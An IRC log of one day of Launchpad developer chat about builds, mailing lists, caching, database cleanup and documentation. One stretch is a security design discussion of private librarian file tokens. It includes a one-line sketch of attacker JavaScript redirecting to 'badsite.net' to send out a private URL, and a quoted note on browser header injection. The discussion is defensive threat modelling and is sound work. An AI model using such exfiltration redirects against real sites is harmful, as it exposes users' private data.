[00:13] <thumper> FFS
[00:13] <thumper> devel build failed
[00:18] <wgrant> thumper: Doesn't he probably not want a shared repo?
[00:18] <wgrant> Sounds like he might just want a branch.
[00:18]  * thumper nods
[00:38] <mtaylor> w00t!
[00:38] <mtaylor> don't know who fixed the swift mailing list situation ... but thanks
[00:38] <mtaylor> sinzui: was that you?
[00:39] <sinzui> mtaylor, me and Chex
[00:39] <sinzui> I am waiting on my test email to complete
[00:39] <mtaylor> sinzui: well thank you to both of you
[00:39] <Chex> mtaylor: spm did a lion share of work previously, too.
[00:40]  * mtaylor hands Chex, sinzui  and spm beers
[00:40] <spm> mtaylor: heh, glad it's sorted.
[00:41] <Chex> mtaylor: glad to help, sinzui did a lot of the work today, I just saw the outstanding answer and jumped in to move it along
[00:41] <mtaylor> spm: now we've just got that can't see launchpad.net/swift thing left, but I think bac may have figured that one out and filed a bug
[00:41] <spm> mtaylor: that's not because I had a hissy fit of frustration the other day and dropped those tables  from the DB?
[00:41] <mtaylor> it's almost like I'm going to have nothing more to bug anyone aboud
[00:41] <mtaylor> about
[00:42] <mtaylor> spm: hehe
[00:42] <sinzui> I have not gotten a copy of my test email, and I do not see the archive
[00:42] <sinzui> mtaylor, do you see a moderation link on https://edge.launchpad.net/~swift to verify my missing message is stuck?
[00:45] <mtaylor> sinzui: I see a moderation link, but I see no messages in the queue
[00:46] <sinzui> :(
[00:47] <sinzui> I think the new list was not fully created because of the stalled proc and our deft axe-like hacks to make this work
[00:47] <sinzui> I propose a rapid deactivate, purge, and request of a new list. I think this will take a total of 10 minutes
[00:53] <mtaylor> sinzui: do you need me to do that? or was that a back-end operation you're suggesting?
[00:54] <sinzui> I just did it all
[00:54] <sinzui> I am sending another test
[00:54] <sinzui> I see an archive before I even start this time :)
[00:55] <sinzui> Sweet
[00:56] <sinzui> mtaylor. I think you have a list. And I just learned the minimum total tear down and setup of a list in the ui is 3 minutes
[00:56] <mtaylor> sinzui: w00t!
[00:57]  * thumper lunchinates
[01:00] <poolie> thumper, spm, do you want a hand with bug 610297
[01:00] <_mup_> Bug #610297: stable codeline is failing to build - compile error <canonical-losa-lp> <Launchpad Foundations:Fix Released by jelmer> <https://launchpad.net/bugs/610297>
[01:01] <poolie> ah apparently not
[01:01] <spm> :-)
[01:02] <jelmer> 'morning poolie, spm
[01:02] <jelmer> poolie: Did you have a good flight back to Sydney?
[01:02] <spm> hey jelmer! how goes!
[01:03] <jelmer> Very well, thanks! :-)
[01:04] <poolie> hi jelmer, it was ok
[02:29] <lifeless> bdmurray: https://bugs.edge.launchpad.net/malone/+bug/611115
[02:29] <_mup_> Bug #611115: timeout: bug notifications are calculated in-request <timeout> <Launchpad Bugs:Triaged> <https://launchpad.net/bugs/611115>
[03:00] <bac> mtaylor: the fix is in
[03:09] <spm> bac: that's a really easily misconstrued statement. just sayin'. ;-)
[03:10] <bac> spm: really?
[03:10] <bac> spm: you employing some aussie linguistic jujitsu?
[03:10] <lifeless> only for australians
[03:11] <spm> bac: hrm. possibly local slang? 'the fix is in' is another way of saying 'we've done some illegal stuff to achieve X'
[03:11] <lifeless> spm: its aussie vernacular
[03:11] <bac> spm: ok.  well rest assured it was all legal, reviewed, and landing soon
[03:11] <spm> heh
[03:13] <bac> and look, you ran off wgrant.  launchpad productivity plummets
[03:14] <spm> on the grounds that he's only 7-8 hours drive away; i make no comment in case he's the revenge seeking type
[03:14] <lifeless> e.g. australian ?
[03:15] <lifeless> :P
[03:15] <spm> ....
[03:16] <spm> ha. good def'n here of 'the fix is in' http://answers.google.com/answers/threadview?id=65441 fwiw
[03:18] <lifeless> ah right
[03:18] <lifeless> so less aussie than I thought
[03:20] <wgrant_> bac: That was actually only one of me.
[03:20] <wgrant_> (my server at home apparently reset itself just as I was SSHing in... this is concerning)
[03:36] <wgrant> Is devel broken at the moment?
[03:36] <wgrant> I have a test failure which seems to be caused by the registration slot changes.
[03:39] <thumper> wgrant: it is possible
[03:39] <thumper> wgrant: there have been many commits since the last successful run
[03:39] <wgrant> Eep.
[03:39] <wgrant> But the registration slot is on edge...
[03:44] <lifeless> this is odd
[03:47] <wgrant> xx-copy-packages.txt is the failure that I see.
[04:30] <mwhudson> wgrant: should the fact that there are 13 idle i386 builders be bothering me?
[04:31] <mwhudson> ppa builders, that is
[04:34] <wgrant> Maybe.
[04:34] <wgrant> If it's for more than a few minutes.
[04:35]  * wgrant watches.
[04:35] <mwhudson> ah a bunch just got dispatched
[04:35] <wgrant> You just caught it at a bad time, yeah.
[04:36] <mwhudson> so it was probably just process-upload-ing openoffice or something
[04:36] <wgrant> Heh.
[04:36] <wgrant> Each p-u invocation takes like 15 seconds.
[04:44] <wgrant> So if it is processing a couple of dozen uploads, it can take a while to get around to the next cycle.
[04:44] <wgrant> Even if those uploads are small.
[05:02] <mtaylor> rockstar: around?
[05:03] <mtaylor> so - now I'm seeing work-in-progress merge requests on the +activereviews page ...
[05:04] <mtaylor> oh. even weirder
[05:04] <mtaylor> +activereviews for the branch shows work-in-progress - +activereviews for the project does _not_ show work in progress
[05:04] <mtaylor> just thought I'd point that out in case no body noticed
[05:46] <thumper> lifeless: quick question
[05:46] <lifeless> shoot
[05:46] <thumper> mtaylor: yes it does
[05:46] <thumper> mtaylor: by design
[05:46] <thumper> lifeless: the librarian bug you're fixing, will this stop the timeouts we are seeing on merge proposal pages?
[05:47] <thumper> mtaylor: work in progress is of interest in the personal namespace
[05:47] <lifeless> maybe. Point me at such a timeout OOPS
[05:47] <thumper> mtaylor: branches are in the personal namespace
[05:47] <thumper> lifeless: they are in the daily oops reports
[05:47]  * thumper has a quick look
[05:47] <thumper> lifeless: OOPS-1670O1242
[05:48]  * thumper looks at _mup_
[05:48] <lifeless> works in #launchpad :P
[05:48] <lifeless> yes, I would expect that one to be fixed
[05:48] <lifeless> we'll allocate a token
[05:49] <thumper> \o/
[05:49] <lifeless> and the client will grab the content directly from the librarian
[05:49] <thumper> um...
[05:49] <thumper> that'll require a coding change won't it?
[05:49] <thumper> it isn't a transparent fix
[05:50] <thumper> because we format the diff
[05:50] <thumper> the formatted diff isn't stored
[05:50] <lifeless> ok
[05:50] <lifeless> so no, that one won't be fixed.
[05:50] <thumper> :(
[05:50]  * thumper afk
[05:50] <lifeless> Heres what will be fixed - places where we just proxy the content to the client.
[05:50] <lifeless> like private build logs
[05:53] <lifeless> thumper: the separate 'client does not time out fast' bug will help with those pages though - but it will just mean they fail fast rather than fail slow.
[05:55] <wgrant> lifeless: Hum, so the restricted librarian is going to visible externally?
[05:56] <wgrant> +be
[05:56] <lifeless> wgrant: not precisely
[05:57] <lifeless> wgrant: we'll accept requests on the public librarian for secured content if there is a Front-end-https: on header and it has an access token that is live in the session db
[05:57] <lifeless> wgrant: see my WIP branch / bug discussion
[05:57] <wgrant> Ah, sounds reasonable.
[05:57] <wgrant> Well.
[05:57] <wgrant> Sort of reasonable.
[05:57] <wgrant> As long as you use the right Content-Disposition...
[05:57] <lifeless> can you suggeset some improvements ?
[05:58] <lifeless> How is c-d different for this case than other librarian objects?
[05:58] <wgrant> The public librarian doesn't use Content-Disposition: attachment.
[05:58] <wgrant> So JS is executed.
[05:59] <lifeless> right
[05:59] <wgrant> So if you serve anything from the HTTPS librarian without Content-Disposition: attachment, you're fucked, because anyone can steal your access tokens.
[05:59] <lifeless> how is this *different* in terms of requirements/risks/constraints ?
[05:59] <lifeless> no
[05:59] <lifeless> the token is per url
[06:01] <lifeless> we can't use the oauth tokens for the reason you give
[06:01] <wgrant> Relying on cross-window security seems a bit odd.
[06:01] <lifeless> even if we set c-d they might exploit a browser bug etc
[06:01] <wgrant> They might, yes, but then the entire Internet is fucked. Not just us.
[06:02] <lifeless> wgrant: so still, that seems like an argument for setting it on every librarian file
[06:02] <lifeless> how is it unique for secured content
[06:02] <wgrant> lifeless: Because there's nothing to be stolen on the public librarian.
[06:03] <wgrant> That's why it lives on launchpadlibrarian.net nowadays: so there's no cookie.
[06:03] <lifeless> the secured still will also live there
[06:03] <lifeless> and also have no cookie
[06:03] <wgrant> But there is private information.
[06:03] <wgrant> In the URLs.
[06:03] <lifeless> go on
[06:04] <lifeless> I'm moderately fucked from jetlag, so you're going to have to treat me like a 2-year old and spell it out :)
[06:04] <wgrant> I'm aware of strong cross-domain security rules.
[06:04] <wgrant> I don't know about cross-window restrictions, though.
[06:05] <lifeless> what do you mean cross-window restrictions
[06:06] <wgrant> The security of your system relies on the fact that a page executing in the context of a domain cannot determine the URLs of any other windows open for that domain.
[06:06] <wgrant> I do not know that to be the case.
[06:07] <lifeless> or of urls in the history
[06:07] <wgrant> That too.
[06:09] <lifeless> so if you're saying 'please set cd:attachment on secured urls' - sure, I'm fine doing that, I don't see that we would want js scripts in the librarian anyhow for secured content
[06:09] <lifeless> but it seems to me that we're already at risk from such things - browser history containing product urls etc which are private
[06:09] <wgrant> Nobody else has managed to do that without being harrassed for days.
[06:10] <lifeless> please expand
[06:10] <wgrant> U1 was pretty badly broken in this respect.
[06:10] <wgrant> Took a bit of poking to get it fixed.
[06:10] <wgrant> But I don't see your point about private URLs.
[06:10] <lifeless> I don't know what 'that' or 'this' is bound to.
[06:11] <wgrant> The serving user web pages on authenticated domains thing.
[06:11] <wgrant> The only untrusted content that LP currently serves up is on ppa.launchpad.net and launchpadlibrarian.net.
[06:11] <wgrant> ppa.launchpad.net is HTTP, so can't access cookies.
[06:12] <wgrant> launchpadlibrarian.net is on another domain, and contains no private content, so it can't access cookies or private content.
[06:12] <lifeless> right
[06:13] <lifeless> now I'm proposing to add secured content to ll.net by using the url to carry the token
[06:13] <lifeless> it can't access cookies - wrong domain
[06:14] <wgrant> But it's not clear if it can access other windows or history.
[06:14] <lifeless> right
[06:15] <lifeless> if we add c-d to the headers, will that break things like emblems, if they are secured ?
[06:16] <mtaylor> thumper: interesting
[06:16] <wgrant> lifeless: Not sure.
[06:17] <lifeless> wgrant: so, I'm not clear if you're saying 'stop this the plan is flawed', or 'the plan needs tweaking', or 'this axiom needs researching'
[06:17] <lifeless> wgrant: perhaps you're being clear and I'm just too freakishly tired
[06:17] <wgrant> lifeless: Probably "this axiom needs researching"
[06:18] <lifeless> wgrant: ok, cool - I can keep plodding forward.
[06:18] <lifeless> wgrant: if you wanted to research a little, to parallelise efforts, that would be rad.
[06:18] <lifeless> wgrant: or, if there is a good mitigation strategy we can use regardless, lets do that.
[06:18] <wgrant> lifeless: Content-Disposition is the way to do it, I believe.
[06:19] <lifeless> we could, in principle, wire dns up to the librarian
[06:19] <lifeless> and do hash.launchpadlibrarian.net
[06:19] <lifeless> but that seems a little overkill
[06:22] <lifeless> wgrant: do you think it would be safe to whitelist file types like gif, svg, txt etc ?
[06:23] <wgrant> lifeless: IE does some pretty strange stuff. So you'd have to be careful.
[06:24] <lifeless> so the vector you're describing is:
[06:24] <lifeless> Attacker puts a bad file in the librarian
[06:25] <lifeless> Victim looks at that file, and has either in that windows history, or in another window, the url for a secured file on the librarian
[06:25] <lifeless> Attackers script downloads the secured file (because its within the timeout/use count for the token) and sends it off (how?) to another site
[06:26] <wgrant> It's more practical to just transmit the URL.
[06:26] <wgrant> Either through redirection, or a form post.
[06:27] <lifeless> so they set self.url = badsite.net/?location=secured_content_url
[06:27] <wgrant> window.location, but yes, exactly.
[06:27] <lifeless> blah, self.location =  ...
[06:27] <lifeless> righto
[06:27] <lifeless> one thing we can do
[06:28] <lifeless> is look for a referrer which must exactly match the canonical url in LP
[06:28] <lifeless> [note that this is hard today because we don't have a backlink on LFA, I'm speculating]
[06:28] <lifeless> gesturing... handwaving, thats what I mean, handwaving.
[06:28] <wgrant> If you add more referrer sniffing, I will do bad things.
[06:29] <lifeless> heh
[06:29] <wgrant> (yes, I did suggest it for the CSRF fix, but only because I knew the hole had no chance of being fixed within years otherwise)
[06:29] <lifeless> now, the referrer may be no more secure
[06:29] <wgrant> I'd hoped that the user complaints would force Foundations to fix it properly.
[06:29] <wgrant> But I was wrong.
[06:29] <lifeless> so that might be pointless
[06:30] <lifeless> c-d will break inline display of diffs, logs, etc - which is annoying.
[06:30] <lifeless> security over pretty though
[06:31] <wgrant> Right.
[06:31] <lifeless> theres been some content-sniffed spec stuff recently
[06:32] <lifeless> probably want to review that
[06:36] <wgrant> Hmm.
[06:36] <wgrant> I wish things like getUtility(IComponentSet)['main'] would cache.
[06:36] <lifeless> ugh
[06:36] <wgrant> Hm?
[06:36] <lifeless> I wish such things didn't really exist. Or something.
[06:37] <wgrant> Well, yes.
[06:37] <wgrant> I'm currently trying to refactor some publication stuff.
[06:37] <wgrant> But I can't do it really cleanly, since there were apparently timeouts caused by too many getUtility(IComponentSet)['main'] calls.
[06:38] <lifeless> heh
[06:38] <lifeless> I hear objects provide a nice context for remembering things
[06:38] <wgrant> I guess we could just assume it never needs to be invalidated.
[06:39] <wgrant> Ugly and wrong, but it would never be a problem ever.
[06:40] <wgrant> And then my code can be all nice and clean.
[06:40] <wgrant> lifeless: Am I allowed to do that?
[06:40] <lifeless> do what
[06:42] <wgrant> Make it cache lookups, even though someone could in theory delete and recreate the component.
[06:42] <lifeless> within a transaction, yes.
[06:42] <lifeless> as long as a delete & recreate in the transaction will be handled
[06:43] <wgrant> Is there a way to do that?
[06:43] <lifeless> have you considered providing a stateful proxy in your code
[06:43] <lifeless> wgrant: you can hook into certain events in storm, but I think it would be ugly.
[06:44] <wgrant> It would be very ugly, yes.
[06:44] <wgrant> Especially for a situation that will never occur.
[06:44] <lifeless> never is a long time
[06:44] <lifeless> have you considered providing a stateful proxy in your code?
[06:45] <wgrant> How do you mean?
[06:46] <lifeless> class mycomponentset: def get_component(self, component_name): if component_name not in self.components: self.components[component_name] = getUtility(IComponentSet)[component_name]; reuturn self.components[component_name]
[06:46] <wgrant> I was hoping to be able to do that in ComponentSet itself.
[06:47] <lifeless> the context for such a cache is ill defined at the component level
[06:47] <lifeless> AIUI
[06:48] <wgrant> Well. Components are currently immutable.
[06:48] <wgrant> Like SourcePackageNames and BinaryPackageNames.
[06:48] <wgrant> They are just a string.
[06:48] <lifeless> update on the name is prevented ?
[06:48] <wgrant> No. But it's never done, because it would break the world.
[06:48] <lifeless> as long as you really clearly document it then
[06:49] <wgrant> And while it's *possible*, it seems bad to make the code significantly uglier to take into account that case.
[06:49] <lifeless> be sure not to leak objects across transactions
[06:49] <lifeless> you'll want to hook into end request to clear your cache
[06:49] <wgrant> Yeah, that's the bit I'm not quite sure about.
[06:49] <lifeless> and if you're used outside web contexts you'll need to provide an API for clearing the cache and audit existing code to comply
[06:50] <lifeless> global caches are a pain
[06:50] <lifeless> for an example of hooking into end request see profile or feature flags
[06:52] <spiv> I'm slightly surprised there isn't some sort of @cacheduringtransaction decorator.
[06:52] <wgrant> It would be handy.
[06:52] <spiv> I suppose the tricky bit is telling the decorator which store to use.
[06:54] <spiv> (There is @cachedproperty, but it caches indefinitely, although you could invalidate it by hand fairly easily...)
[06:54] <wgrant> Right, but it doesn't help for attribute accesses.
[06:55] <wgrant> Ah.
[06:55] <wgrant> I could use a celebrity.
[06:55] <lifeless> really?
[06:55] <wgrant> That sounds evil, but they have the rules that I want.
[06:55] <spiv> That's true.
[06:55] <lifeless> cause I need a hero
[06:57] <StevenK> lifeless: Why? When will you return the last one you borrowed?
[06:58] <lifeless> :)
[07:21] <lifeless> wgrant: http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy - 'The behavior for URLs that do not meaningfully have a host name associated with them (e.g., file://) is not defined, causing some browsers to permit locally saved files to access every document on the disk or on the web;he behavior for URLs that do not meaningfully have a host name associated with them (e.g., file://) is not defined, causing some browsers
[07:21] <lifeless> bwah c&p fail
[07:29] <spm> lifeless: is np. simply went intot the tl;dr bucket anyway ;-)
[07:41] <mwhudson> lifeless: that's a fairly depressing document
[07:41] <lifeless> yes
[07:44] <mwhudson> A long-standing security flaw in Microsoft Internet Explorer 6 permits stray newline characters to appear in some XMLHttpRequest fields, permitting arbitrary headers (such as Host) to be injected into outgoing requests. This behavior needs to be accounted for in any scenarios where a considerable population of legacy MSIE6 users is expected.
[07:44] <mwhudson> aaaaaaaaaaa
[07:53] <lifeless> wgrant: see 'Gaps in DOM access control' on that page
[07:55] <lifeless> wgrant: so interestingly, *any* page can get any url
[07:56] <lifeless> wgrant: for many browsers; so urls that we consider private, like private team names, are obtainable (though requires both guessing and a named window AFAICT)
[08:08] <mtaylor> " where a considerable population of legacy MSIE6 users is expected. " ... that give me nightmares
[08:41] <wgrant> mtaylor: That sadly accounts for a significant portion of Launchpad's privacy userbase, I believe.
[08:44] <lifeless> rumoured, not confirmed
[08:47] <adeuring> good morning
[09:12] <mrevell> Hello
[09:25] <poolie> hello europa
[09:26] <lifeless> thats a whole new tz :)
[09:30] <poolie> you still here?
[09:30] <poolie> what's the cleanest way to get my docs into something visible on the web?
[09:30] <poolie> put them in a module docstring?
[09:30] <wgrant> Probably.
[09:39] <lifeless> yeah, for now, docstrings
[10:06] <wgrant> Can someone else run xx-copy-packages.txt? It fails for me in devel.
[10:06] <wgrant> But stable is up to date.
[10:06] <wgrant> Even though the topic says buildbot is broken.
[10:06] <wgrant> I am confuse.
[10:15] <bigjools> it failed for me too
[10:15] <bigjools> meant to mention that 2 days ago
[10:16] <wgrant> So... buildbot is fail-deadly?
[10:37] <lifeless> jml: can we keep the bb summary please, so its obvious where to put updates to it?
[11:12] <wgrant> bigjools: Hi.
[11:12] <bigjools> hello
[11:13] <wgrant> bigjools: I'm currently working on DDEB copies. The binary copy logic is currently in PublishingSet.copyBinariesTo rather than BPPH.copyTo, originally for two performance improvements.
[11:13] <wgrant> One of those was to retrieve the insecure records all in one go. That's clearly no longer an issue.
[11:14] <wgrant> The other is to only issue one query for the PPA component override (since getUtility(IComponentSet)['main'] doesn't cache).
[11:14] <wgrant> It seems like that second optimisation could be implemented a lot better by making ComponentSet cache responses.
[11:14] <bigjools> yeah I agree
[11:15] <bigjools> components simply don't change much
[11:15] <wgrant> Exactly. They *could*, but they never will.
[11:15] <bigjools> for Ubuntu indeed,  but when we start hosting more distros, they might
[11:16] <wgrant> Well, in that case some will be added.
[11:16] <wgrant> But existing ones will never change or be removed...
[11:16] <bigjools> yep
[11:16] <wgrant> So it seems reasonable to have ComponentSet just cache positive responses within a transaction.
[11:18] <bigjools> +1
[11:18] <wgrant> Great.
[11:19] <wgrant> Not sure how best to go about it, though... unless I go the celebrity route and store the ID at first request, and then rely on Storm's cache.
[11:19] <wgrant> I'm not sure there are any other utilities that do a similar thing.
[12:04] <stub> jtv: What happened to the work to drop BranchRevision.id ?
[12:05] <jtv> stub: John went on with that...  I pushed him some to keep going.
[12:05] <jtv> We landed the stormification of the queries.
[12:06] <stub> Cool. I'm getting concerned meeps from the losas about disk space, and that should reclaim maybe 15GB
[12:06] <jtv> psiew
[12:06] <jtv> (that's a sound, not an acronym)
[12:07]  * wgrant blinks.
[12:07] <wgrant> 15GB from removing the integer primary key of that table?
[12:08] <jtv> jam: see above... getting rid of BranchRevision.id is increasingly urgent.
[12:09] <stub> The index itself is about 12.9GB, plus id storage, minus bloat = <mumble>
[12:09] <wgrant> Ah.
[12:09] <jtv> stub: if this is an append-only table as it seems to be, I'm not expecting much bloat that vacuums wouldn't keep under control.
[12:10] <stub> yer, there isn't
[12:11] <jtv> The id storage is presumably 4GB for every G rows.  There's also another index that contains id, so add that.  Yeah, this would be a nice cleanup.
[12:22] <jtv> stub: I'd say the savings would be closer to 20GB.
[12:41] <jml> today is not working out well for me
[12:41] <jml> I may have to edit Python code to soothe my frazzled nerves.
[13:00] <deryck> Hi, all.
[13:03] <jelmer> 'morning Deryck
[13:29] <jml> lifeless, ping
[13:38] <jml> gary_poster, hello
[13:39] <jml> gary_poster, I have an idea lurking in the back of my mind to move some of the more strategic docs that I'm writing to the Launchpad tree, as well as some of the developer documentation
[13:40] <jml> gary_poster, but I think I'd only want to do that if the docs were also browseable on the web
[13:41] <jml> gary_poster, technology-wise, should I be using the apidoc book for this, or some kind of sphinx thing?
[14:30] <gary_poster> jml, I'll summarize pros and cons in 15
[14:31] <jml> gary_poster, thanks
[14:51] <jam> hi jml
[14:51] <jam> lifeless likely won't be on for another 4-6hours
[14:55] <gary_poster> jml: Sphinx: great if you need links between pages or more sophisticated rendering possibilities--closer to a website or a book.  apidoc: great if you need quick ReST processing that's integrated with something we already have, and can be loosely organized into a tree.
[14:55] <gary_poster> downside of both: getting them on the web is a manual process, and likely to stay that way at least for awhile.  (I was vaguely imagining a buildbot/hudson thing that would do this eventually for the apidoc.)  It's very slow for the computer to generate the static apidoc and upload it, but no big deal for the person pushing the keys.
[14:55] <gary_poster> For the kind of docs I *expect* you'll be writing, I'd lean towards apidoc, especially if I can shunt off the extraneous stuff (like ZODB) so the docs valuable to us are easier to see
[14:55] <jml> jam: thanks.
[14:55] <deryck> adeuring, hi.  So I'm trying to catch up here on the proxied (or not) factory objects discussion.  Do we have resolution on that?  i.e. are you still working on it, or has the work been abandoned now?
[14:56] <gary_poster> I need to wade through that discussion :-/
[14:56] <jml> gary_poster, thank you, that's helpful.
[14:57] <adeuring> deryck: i've abandoned it for now. it is easy to pick up once we know how to proceed with (un)proxied objects from the factroy
[14:57] <gary_poster> cool np
[14:57] <jml> gary_poster, although you missed that sphinx looks prettier than apidoc :)
[14:57] <gary_poster> jml: very true :-)
[14:57] <deryck> adeuring, is bdmurray unblocked on the work he wants to do?  Or has a work around at least for the test problem he had?
[14:57] <adeuring> deryck: he's making some progress. sorry forgot the details
[14:58] <deryck> adeuring, so the card for you and bug 610000 is abandoned?
[14:58] <_mup_> Bug #610000: add security proxies to the objects returned by LaunchpadObjectFactory.makeMergeDirective() and LaunchpadObjectFactory.makeMilestone()  <Launchpad Foundations:In Progress by adeuring> <https://launchpad.net/bugs/610000>
[14:58] <adeuring> right
[14:58] <deryck> adeuring, can you move it to trash on the board, and add a comment why you're abandoning the work?
[14:59] <adeuring> ok, will do
[15:02] <adeuring> deryck: do we have a trash lane on the kanban board?
[15:03] <deryck> adeuring, yeah, if you right click the card, move to --> archive --> trash.  You'll need to then expand archive to find it and comment, or else comment before you move it.
[15:04] <adeuring> deryck: thanks, found it now
[15:06] <deryck> cool
[15:06] <deryck> *sigh* can't even spell my own name today
[16:12] <mtaylor> gary_poster: fwiw, I've got a hudson job that build sphinx doc for our openstack projects and publishes them to web on every trunk push
[16:13] <gary_poster> mtaylor: sweet, sounds nice :-)
[16:16] <mtaylor> gary_poster: yes. I gives me pleasure
[16:16] <mtaylor> it
[16:16] <mtaylor> not I
[16:16] <mtaylor> gah
[16:16] <gary_poster> lol
[16:35] <deryck> gary_poster, hi.  Do you have 5 minutes to chat?
[16:36] <gary_poster> deryck, on call, and booked.  in hour, maybe?
[16:37] <deryck> gary_poster, sure.  sounds good.  No hurry.
[16:37] <deryck> Just trying to figure out why my changes last week caused test failures and had to be reverted, and I think you might have some idea. :)
[16:37] <gary_poster> heh ok :-)
[18:09] <bdmurray> I've landed a branch on edge to cache a bug target's bug tags portlet but I'm not seeing cache comment in the source for the page
[18:13] <bdmurray> gary_poster: is there somebody who could help me sort this out?
[18:24] <jml> bdmurray, are you sure it's been rolled out?
[18:25] <bdmurray> jml: pretty sure - it is revision number 11195
[18:25] <bdmurray> speaking of it'd be neat if 'r11249' linked to the code branch
[18:25] <jml> that does give you a certain ground for confidence
[18:26] <jml> bdmurray, yeah, that would be neat.
[18:27]  * jml hacks a little
[18:28] <rockstar> bigjools, ping
[18:28] <bigjools> rockstar: is it quick, I'm about to EOD?
[18:30] <rockstar> bigjools, just wondering if there's a factory method for simulating the creation of all objects that would be created to have a package in a PPA.
[18:30] <bigjools> rockstar: yes, the SoyuzTestPublisher
[18:30] <rockstar> bigjools, okay, I'll take a look at that.
[18:30] <rockstar> bigjools, have a good night.
[18:30] <jml> bdmurray, reckon it should link to http://bazaar.launchpad.net/~launchpad-pqm/launchpad/stable/files/11249 ?
[18:31] <bigjools> rockstar: there's a getPubSource() which creates a package and publishes it
[18:31] <bigjools> rockstar: there's a few gotchas with it, see some example tests first (grep is your fwiend)
[18:31] <gary_poster> bdmurray: code only adds comments "if not config.launchpad.is_lpnet and not config.launchpad.is_edge:"
[18:31] <rockstar> bigjools, okay.  I need to allow that to grow the ability of using a sourcepackagerecipe to do so.
[18:31] <bigjools> rockstar: sounds great
[18:32] <gary_poster> bdmurray: so it would be visible in staging...if staging were up.
[18:32] <bigjools> good night everyone
[18:32] <gary_poster> night
[18:32] <gary_poster> (on behalf of everyone)
[18:33] <bdmurray> jml: Personally I'd want to see https://code.edge.launchpad.net/~launchpad-pqm/launchpad/devel so I could see all the recent revisions
[18:33] <bdmurray> jml: to know what change recently not just the latest revision
[18:34] <jml> *nod*
[18:34] <bdmurray> gary_poster: ah, that helps thanks!  is there an eta for staging being up?
[18:34] <gary_poster> deryck[lunch]: if you were not lunching I would have five minutes to talk :-)
[18:34] <jml> except I'll do stable, not devel.
[18:35] <gary_poster> bdmurray: losas are firefighting to get restore working.  dunno when that will be back, but they are on it.
[18:36] <mthaddon> staging is up, it's just the update is busted
[18:40] <jml> bdmurray, https://code.edge.launchpad.net/~jml/launchpad/link-to-lp-revision/+merge/31310 fwiw
[18:42] <bdmurray> jml: cool!
[18:47] <gary_poster> bdmurray: staging is on r9589, which == r 11252 of edge.  should be plenty for r11195.
[18:47] <gary_poster> thanks for the clarification mthaddon
[18:48] <mthaddon> gary_poster: actually, it's on 9565 :(
[18:48] <gary_poster> mthaddon: oh, the footer on https://staging.launchpad.net/ lies? :-(
[18:48] <mthaddon> gary_poster: it's displaying the wrong revno because I did a "bzr revert -r 9565"
[18:49] <gary_poster> ah!
[18:50] <mthaddon> gary_poster: what would I need to do to get it to display the right revno?
[18:51] <gary_poster> bdmurray: you still might be in luck.  db-stable r9565 includes stable r11195, just barely
[18:51] <bdmurray> gary_poster: well the pages I'd like to view are oops'ing on me :-(
[18:54] <gary_poster> bdmurray: :-(
[18:55] <gary_poster> mthaddon: I *think* the number comes from bzr-version-info.py, in which case ``rm bzr-version-info.py && make bzr-version-info.py`` and a restart ought to do the trick.
[18:55] <gary_poster> need to go on call
[18:55] <jml> mthaddon, scripts/update-bzr-version-info.sh
[19:03] <maxb> Ugh. Ugh ugh ugh. Apparently the validation on code import creation is more lax than that of code import editing, so I can't mark https://code.edge.launchpad.net/~registry/tidy/trunk as invalid without getting told to fix the cvsroot
[19:04] <sinzui> maxb, yes, I was suspicious of that when I registered it
[19:04] <sinzui> I was going to track that down later today
[19:05] <maxb> oh *you* registered it? You know it's totally bogus, right?
[19:05] <sinzui> Yes. I was shocked that it went through
[19:06] <maxb> Mind if I write "sinzui will delete this when done debugging it" in the branch whiteboard?
[19:10] <sinzui> please do it
[19:22] <deryck> gary_poster, thanks anyway. Sorry I wasn't around.  I'll just catch lifeless later when he's on, or get you tomorrow about it.
[19:22] <gary_poster> deryck: cool
[20:06] <sinzui> maxb, +setbranch on a series will not accept a valid cvs url. It *requires* me to use http or https. I will report the bug
[20:11]  * jml frowns
[20:35] <jml> mars, hi
[20:37] <mars> jml, on a call, will be available soon
[20:37] <jml> mars, ta
[20:46] <jelmer> sinzui: There is an open bug about that somewhere
[20:46] <jelmer> sinzui: I hit it too a while ago.
[20:47] <sinzui> I could not find the bug, I hope thumper can dup it
[20:53] <jml> jam: your branch https://code.edge.launchpad.net/~jameinel/launchpad/lp-serve-cleanup/+merge/30542 is approved to land. want me to land it for you?
[20:53] <mars> jml, I'm free now, what's up?
[20:53] <jml> mars, just going through my outstanding lp branches and saw different-ec2-mail
[20:53] <jml> mars, are you going to carry on with it or shall I?
[20:54] <mars> jml, yeah, we just discussed that - if possible, I need to work on merge workflow before I go on holidays
[20:54] <mars> If you are able to pick it up, that would help
[20:55] <jml> mars, ok, I'll do that then.
[20:55] <jml> mars, Waste sucks.
[20:55] <lifeless> mornink
[20:55] <mars> jml, yes :(   But it's not waste yet!
[20:55] <lifeless> deryck: hi
[20:55] <mars> just a little stale, no green fuzz
[20:56] <jml> lifeless, hi
[20:56] <lifeless> hi jml
[20:56] <deryck> lifeless, hi.
[20:56] <jml> mars, it's wasteful in the lean sense right? unlanded branches == inventory; time between starting & finishing that doesn't progress toward goal == waste
[20:57] <deryck> lifeless, I really want to chat about why exactly my work caused the db-devel test run to fail, given it passed two runs already.  But I'm brain dead from clearing email backlog and at my EOD.
[20:57] <mars> jml, true.  It got stuck in a queue here - by that count, I had a bunch of other stuff that needed to land first
[20:57] <lifeless> deryck: AFAIK no one has dug deep enough to answer
[20:58] <jml> mars, oh yeah, understood.
[20:58] <deryck> lifeless, ah, well, that's answer enough.  I shall have to do so if I want to get my stuff landed. :-)
[20:58] <jml> mars, likewise, I haven't had any LP hacking time until now
[20:58] <lifeless> deryck: oh there are two things:
[20:58] <lifeless> deryck: a) Why did it get so far
[20:58] <lifeless> deryck: b) what was going wrong
[20:59] <lifeless> deryck: we know b
[20:59] <lifeless> deryck: storm cache bug + triggers
[20:59] <deryck> ok.  I don't know that I grok b yet.  But I can re-read the mails.
[21:00] <mars> jml, speaking of backlog, I'll file the ++profile++ view bug TODO list now
[21:00] <jml> mars, good idea :)
[21:00] <mars> (and waste some time trying to dig up the bug number)
[21:01] <mars> I end up using my branches list page an aweful lot now
[21:02] <deryck> I am almost my Inbox's master.  Until tomorrow everyone....
[21:03] <mars> lifeless, did we already have a bug for profiling individual requests?
[21:03] <mars> I thought we did
[21:03] <lifeless> yes
[21:03] <lifeless> http://www.google.com/search?sourceid=chrome&client=ubuntu&channel=cs&ie=UTF-8&q=launchpad+profile+decorator
[21:03] <lifeless> first hit
[21:03] <lifeless> ^ now thats search
[21:04] <mars> ha
[21:04] <lifeless> bug 598289 <-
